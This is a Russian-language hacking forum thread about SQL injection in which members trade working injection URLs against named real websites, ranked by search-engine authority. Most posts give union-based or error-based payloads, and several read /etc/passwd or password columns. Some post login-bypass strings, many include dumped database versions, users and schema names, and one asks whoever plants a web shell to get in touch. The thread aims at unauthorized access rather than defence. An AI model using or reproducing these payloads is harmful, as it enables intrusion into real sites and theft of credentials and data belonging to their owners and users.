SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    ТИц == 10, PR == 6, DMOZ == true;

    PHP:
    http://www.com.edu/continuing-education/courses.php?id=18+and+extractvalue(rand(),concat(0x3a,version(),0x3a,user())) -- 
     
    3 people like this.
  2. nicols

    nicols Banned

    Joined:
    20 Aug 2012
    Messages:
    49
    Likes Received:
    1
    Reputations:
    0
    pcs-consultants.com
    ТИЦ: 0
    PR: 2

    Code:
    http://pcs-consultants.com/productInfo.php?productID=115'
    INFO
    Code:
    Host IP: 216.177.141.100 
    Web Server: Apache 
    Powered-by: PHP/5.2.14 
    DB Server: MySQL 
    Current DB: mbstech_newstore 
    Data Bases: 
    information_schema 
    mbstech_lpages 
    mbstech_newstore 
    mbstech_store
     
  3. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    _http://www.impuls-fitness.pl/index.php?id=-82+union+select+1,%28select%20concat%280x00,table_schema,0x3a,table_name,0x0a,user%28%29,0x3a,version%28%29,database%28%29%29%20from%20information_schema.columns%20where%20column_name=0x6C6F67696E%20limit%200,1%29,3,4,5,6,7,8,9+--+
     
    _________________________
    2 people like this.
  4. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    PR == 4;

    PHP:
    http://roc.nccu.edu.tw/histroy3.php?id=-94+union+select+1,load_file('/etc/passwd'),3,4,5,6,7+--+
    PR == 3;

    PHP:
    http://lcd.efn.unc.edu.ar/sitio_e/ficha_miembros.php?id=-9+union+select+1,2,3,4,load_file('/etc/passwd'),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
    ТИц == 40, PR == 2, DMOZ == true;

    PHP:
    http://www.chihua.ru/main.phtml?clon=main&rubrica=210&lang=rus&lastposit=0&id=-1215+union+select+1,2,version(),4--
     
    3 people like this.
  5. Profexor

    Profexor New Member

    Joined:
    19 Apr 2008
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    ТИЦ70 PR2
    PHP:
    http://www.bt-motors .ru/vacances.php?id=1-999.9 union select 1,PASSWORD,3,4,5,5,7,8,9,10,11,12 from b_user --
     
    #15125 Profexor, 7 Sep 2012
    Last edited: 7 Sep 2012
    1 person likes this.
  6. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    Host

    Code:
    www.e-gorod.ru/Exhibitions/
    Inject

    Code:
    POST
    
    Login = admin' or substring((@@version),1,1)='5
    
    Pass = admin' or substring((@@version),1,1)='5
    ByPass Authentication

    Code:
    POST
    
    Login = admin' or 1='1
    
    Pass = admin' or 1='1
    PR =5
    TYC = 350
     
    _________________________
    3 people like this.
  7. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    omdsz.ro PR-5
    Code:
    www.omdsz.ro/hu/index.php?menu_id=&goto=forum&do=showtopicsbycategory&category_id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7+--+
    Code:
    5.1.63-cll:omdsz_omdsz@localhost:omdsz_omdsz
    renewsindia.com PR-5
    Code:
    www.renewsindia.com/goto.php?news_id=-3453+union+select+concat_ws(0x3a,version(),user(),database()),2--
    Code:
    5.0.92-log:[email protected]:renews07012011
    в адр строке

    best.eng.auburn.edu PR-5
    Code:
    best.eng.auburn.edu/stored_procedures/folder-manager/create-folder.php?folder=714+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9+--+
    Code:
    5.0.51a-3ubuntu5.8:tdp0001@localhost:tpatterson
    кто зальет шелл черканите в приват;)
     
    3 people like this.
  8. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    PHP:
    http://www.familyfed.org/news/index.php?id=-325%27+union+select+1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.schemata--+f
    ТИЦ-10(R2)
    PR-NA
    AR-381,015
    DMOZ-> Society> Religion_and_Spirituality> Christianity> Denominations> Unification_Church
     
  9. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    cockyboys - gay site

    HTML:
    http://www.cockyboys.com/viewmodel.php?id=-90/*!+union+select+1,2,load_file('/etc/passwd'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25*/
    ТИЦ-0(R0)
    PR-3
    AR-107,591

    трафа выше 40к [​IMG]
     
    #15129 DyukiN, 8 Sep 2012
    Last edited: 9 Sep 2012
    1 person likes this.
  10. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    ТИЦ0(R0)
    PR4
    AR3,270,288

    [email protected] 5.1.62-log
     
    1 person likes this.
  11. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    imex-frankfurt.com PR-6
    Code:
    www.scientific-computing.com/news/news_story.php?news_id=1763+and+4=substring((SELECT+version()),1,1)+--+
    ushl.com PR-6 штатская хоккейная лига
    Code:
    www.ushl.com/news.php?news_id=1234'+and+5=substring((SELECT+version()),1,1)+--+
    imex-frankfurt.com PR-6
    Code:
    www.imex-frankfurt.com/vex-2012/exweb.php?back=vexsearch.php$$letter=d$action=alpha&uid=236233'+union+all+select+concat_ws(0x3a,version(),user(),database())+--+
    Code:
    5.1.41-3ubuntu12.10-log:root@localhost:imex2012_live
    
     
    2 people like this.
  12. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    PR - 4

    PR - 2
     
  13. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    otdelklt_kultura@localhost:5.0.67-community:eek:tdelklt_otdelkultura
    pofigclient@localhost:5.0.77:pofig
    [email protected]:5.0.91-log:confa
     
    _________________________
    1 person likes this.
  14. teazer

    teazer New Member

    Joined:
    7 Sep 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    http://www.pro-hyip.com/?a=refform&id=-1146+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+--+
     
  15. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    http://www.invita-rus.ru/print.php?id=3news&lang=1&idtime=1283371200+and+1=0+union+select+1,2,%28select%28@x%29from%28select%28@x:=0x00%29,%28select%280%29from%28information_schema.columns%29where%28table_schema!=0x696e666f726d6174696f6e5f736368656d61%29and%280x00%29in%28@x:=concat%28@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name%29%29%29%29x%29,4,5,6,7,8,9+--+

    Сливки БД городов ка на ладони!)
    антибоян по sibrabota.ru
    http://forum.antichat.ru/threadnav21336-271-10.html
     
    _________________________
    1 person likes this.
  16. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Ненавижу 4 ветку.


    PR 2
    root@localhost:dbhobbyradio:4.0.27-standard
     
    _________________________
  17. Rewind

    Rewind New Member

    Joined:
    11 Sep 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    http://www.skpb.ru/content.php?id=20&news=NULL'+union+Select+/*!group_concat(table_name)*/,2,3,4+/*!from*/+/*!information_schema.tables*/+/*!where*/+table_schema=database()--++--
     
  18. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    тиц 10
     
    1 person likes this.
  19. seozone

    seozone Member

    Joined:
    11 Sep 2012
    Messages:
    30
    Likes Received:
    7
    Reputations:
    0
    PR 1
     
    1 person likes this.
  20. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.marmota.com
    Code:
    http://www.marmota.com/news.php?id=-28/**/union/**/select/**/1,2,concat_ws(user(),database(),version()),group_concat(schema_name)/**/from/**/information_schema.schemata--
    PR4
    information_schema,marmota,test_teamrec
    [email protected]


    www.antidoping.hk
    Code:
    http://www.antidoping.hk/news.php?target=news_detail&id=-28/**/union/**/select/**/1,2,User,Password+from+mysql.user--
    PR5
    File_priv - Y
    [email protected]


    nhlegendsofhockey.com
    Code:
    http://nhlegendsofhockey.com/news.php?id=-28+union+select+1,2,3,concat_ws(user(),database(),version()),5,6,7,8,9,10--
    PR2
    [email protected]
     
    #15140 DyukiN, 19 Sep 2012
    Last edited: 19 Sep 2012
Thread Status:
Not open for further replies.